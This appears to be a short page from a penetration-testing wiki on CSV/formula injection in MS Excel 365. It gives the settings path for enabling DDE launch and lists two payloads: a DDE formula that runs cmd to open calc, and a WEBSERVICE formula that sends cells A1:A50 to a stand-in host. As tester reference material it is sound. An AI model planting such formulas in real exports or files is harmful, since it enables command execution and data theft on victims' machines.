> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/csv-injection.md).

# CSV Injection

## MS Excel 365

MS Excel 365 has to have enabled DDE launch (disabled by default).\
\
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

### Payloads

```bash
=cmd|' /C calc'!A0
=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))
```